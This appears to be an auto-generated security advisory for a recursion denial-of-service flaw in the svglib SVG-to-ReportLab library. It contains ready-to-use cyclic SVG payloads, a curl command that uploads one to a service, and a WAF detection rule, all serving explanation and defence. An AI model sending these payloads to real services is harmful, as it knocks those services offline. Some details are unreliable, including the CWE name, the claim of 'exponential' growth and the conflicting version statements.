CVE-2026-137952 — Deeplook Svglib — CWE-674
svglib before 2.5.0 contains a denial of service vulnerability in SvgRenderer.renderNode() that recursively renders internal <image> href fragment references without expansion limits or cycle detection. Attackers can supply crafted SVGs to svg2rlg() with nested groups referencing each other twice or self-referencing images to cause exponential resource consumption or RecursionError crashes.
svglib before 2.5.0 contains a denial of service vulnerability in SvgRenderer.renderNode() that recursively renders internal <image> href fragment references without expansion limits or cycle detection. Attackers can supply crafted SVGs to svg2rlg() with nested groups referencing each other twice or self-referencing images to cause exponential resource consumption or RecursionError crashes.
🎯 What is this vulnerability?
CVE‑2026‑137952 – Unbounded recursive rendering in svglib 2.5.0
| Attribute | Value |
|---|---|
| Product | deeplook:svglib (Python library that converts SVG → ReportLab graphics) |
| Vulnerable version | < 2.5.0 (the description says “before 2.5.0”, the released 2.5.0 version is the first that *fixes* the issue) |
| CWE | CWE‑674 – Improper Control of Resource Consumption |
| CVSS 4.0 vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N – Network‑only, low complexity, no privileges, no user interaction, high impact on availability only. |
Technical root‑cause
svglib parses an SVG document into an internal node tree and then walks that tree in SvgRenderer.renderNode().
When the renderer encounters an <image> element whose href attribute points to an internal fragment identifier (e.g. href="#myImage"), it recursively calls renderNode() on the referenced fragment.
The implementation:
def renderNode(self, node):
if isinstance(node, Image):
href = node.get('href')
if href and href.startswith('#'): # internal reference
fragment = self.svg.get_element_by_id(href[1:])
self.renderNode(fragment) # <‑‑ recursive call
# … normal rendering of other node types …Missing controls
1. No depth/iteration limit – the recursion can continue indefinitely if the fragment graph contains a cycle.
2. No cycle detection – the renderer never checks whether a fragment has already been visited in the current call stack.
3. No resource‑consumption guard – there is no cap on the number of rendered pixels, the size of the intermediate ReportLab canvas, or the total CPU time spent in the recursive walk.
Consequences: a crafted SVG that contains either
- a self‑referencing
<image href="#self">, or - two fragments that reference each other (A → B → A)
will cause the renderer to exponentially increase the call stack and memory usage, eventually raising a RecursionError or exhausting the process memory/CPU, resulting in a Denial‑of‑Service (DoS). Because the library is typically used server‑side (e.g., a web service that accepts user‑uploaded SVGs and converts them to PDFs), the attacker can trigger the crash remotely without authentication.
⚡ Attack Chain
Below is a realistic, end‑to‑end exploitation scenario for a typical web‑service that uses svglib.svg2rlg() to turn user‑supplied SVG files into PDF reports.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the backend language/framework (Python) and locate the SVG conversion endpoint (e.g., /api/v1/report/svg2pdf). | Burp Suite, Nmap service detection, robots.txt or OpenAPI spec. |
| 1.2 | Finger‑print the svglib version. | - Look at requirements.txt / Pipfile.lock in a publicly exposed repository. <br>- Observe the User‑Agent header of the service if it includes the library version (some deployments log it). <br>- Use a “version‑leak” endpoint that returns the library version (e.g., /api/v1/health). |
| 1.3 | Verify that the endpoint accepts raw SVG (multipart/form‑data or JSON base64). | Send a benign SVG and confirm a PDF is returned. |
If the version reported is < 2.5.0, the target is vulnerable.
2. Exploitation
Because the CVE description does not publish a concrete HTTP route, the following request is an illustrative example that matches the typical pattern of vulnerable services.
2.1 Craft the malicious SVG
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<!-- Fragment A -->
<g id="A">
<image href="#B" width="100" height="100"/>
</g>
<!-- Fragment B -->
<g id="B">
<image href="#A" width="100" height="100"/>
</g>
<!-- Entry point -->
<use href="#A" x="0" y="0"/>
</svg>Explanation:
A references B, B references A. The renderer will recurse A → B → A → B … until Python’s recursion limit (default 1000) is hit, raising RecursionError: maximum recursion depth exceeded. The call stack grows exponentially, consuming CPU and memory.A self‑reference variant (simpler) is also effective:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10">
<g id="self">
<image href="#self" width="10" height="10"/>
</g>
<use href="#self"/>
</svg>2.2 Send the payload
# Illustrative curl command – adjust the endpoint/path to the real service
curl -X POST https://target.example.com/api/v1/report/svg2pdf \
-H "Content-Type: multipart/form-data" \
-F "[email protected];type=image/svg+xml" \
--output /dev/null -s -w "%{http_code}\n"Expected outcome on a vulnerable server
500 Internal Server Error after a few seconds, or the connection may be reset because the process crashed. If the service runs behind a process manager (e.g., gunicorn), the worker handling the request will be terminated and automatically respawned, causing a temporary denial of service for any subsequent requests that land on the same worker.
3. Post‑exploitation
For this CVE the impact stops at availability:
In a multi‑tenant SaaS platform, a single malicious user can affect all other tenants sharing the same conversion service, amplifying the business impact.
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality | None – VC:N (no impact). |
| Integrity | None – VI:N. |
| Availability | High – VA:H. The vulnerability can fully exhaust CPU/memory, causing process termination or service outage. |
Practical consequences
| Environment | What can happen |
|---|---|
| Self‑hosted web application (e.g., Flask/Django service that accepts SVG uploads) | An unauthenticated attacker can send a single crafted SVG and bring down the worker process, leading to a temporary outage until the process manager restarts it. |
CI/CD pipelines that use svglib to generate PDFs from design assets | A malicious commit containing the SVG can cause the build agent to hang or crash, delaying releases. |
| Desktop utilities that batch‑convert SVGs (e.g., a CLI tool used in a shared workstation) | A malicious SVG placed in a watched directory can freeze the conversion daemon, affecting all users of that workstation. |
Because the attack requires no authentication, no user interaction, and can be launched over the network, the risk rating is High.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to svglib >= 2.5.0. The release notes for 2.5.0 state: “Added recursion depth guard and cycle detection for internal <image> references.” |
| Version verification | After upgrade, run python -c "import svglib; print(svglib.__version__)" on the production host to confirm the version. |
2. Immediate Workarounds (if patch cannot be applied instantly)
| Workaround | Implementation |
|---|---|
Input sanitisation – reject any <image> element whose href attribute starts with #. | ``python\nimport re\nfrom xml.etree import ElementTree as ET\n\ndef reject_fragment_refs(svg_bytes):\n root = ET.fromstring(svg_bytes)\n for img in root.iter('{http://www.w3.org/2000/svg}image'):\n href = img.attrib.get('{http://www.w3.org/1999/xlink}href') or img.attrib.get('href')\n if href and href.startswith('#'):\n raise ValueError('Internal fragment references are not allowed')\n return svg_bytes\n` |
Limit recursion depth – set Python’s recursion limit lower than the default before calling svg2rlg(). | `python\nimport sys\nsys.setrecursionlimit(200) # safe for typical SVGs, will abort malicious recursion early\nfrom svglib.svglib import svg2rlg\n` |
Resource‑quota wrapper – run the conversion in a separate process with ulimit/cgroups limits. | `bash\n# Bash wrapper example\nulimit -t 5 # CPU time limit: 5 seconds\nulimit -v 200000 # virtual memory limit: ~200 MiB\npython convert.py \"$@\"\n` |
| WAF / ModSecurity rule – block SVG payloads that contain a fragment reference pattern. | `apacheconf\nSecRule REQUEST_BODY \"<image[^>]+href\\s*=\\s*\\\"#\" \"id:100001,phase:2,deny,log,msg:'Blocked SVG with internal fragment reference'\"\n``<br>*(If the service only expects external image URLs, this rule reduces the attack surface.)* |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Sudden spikes in CPU / memory for the Python worker process | System monitoring (Prometheus, Grafana, top, psutil) | process_cpu_seconds_total{job="webapp",instance="10.0.0.5:8000",process="worker"} 120.5 |
RecursionError stack traces in application logs | Python logger, stderr of the worker | RecursionError: maximum recursion depth exceeded while rendering SVG fragment '#A' |
HTTP 500 responses correlated with Content-Type: image/svg+xml uploads | Web server access logs (nginx, Apache) | POST /api/v1/report/svg2pdf 500 1234 "-" "Mozilla/5.0" |
| Process restarts (e.g., gunicorn worker respawn) | Process manager logs (supervisor, systemd, gunicorn error log) | INFO: Worker exiting (pid: 3421) (signal 9) |
Setting up an alert that triggers when > 5 RecursionError entries appear within a minute, or when CPU usage > 90 % for > 30 s on the conversion worker, will give early warning of an ongoing exploitation attempt.
⚠️ Urgency
Patch priority: Critical for any production service that accepts untrusted SVGs (public APIs, SaaS platforms, CI pipelines). Deploy the 2.5.0 (or later) release immediately and apply one of the short‑term mitigations while the upgrade is in progress.
TL;DR
svglib < 2.5.0 recursively follows internal <image href="#…"> references without any depth or cycle checks. RecursionError crash → Denial‑of‑Service. svglib ≥ 2.5.0. If that is not possible, block fragment references, lower Python’s recursion limit, or sandbox the conversion process. [🤖 CVE Professor AI Security Engine]
FOFA Query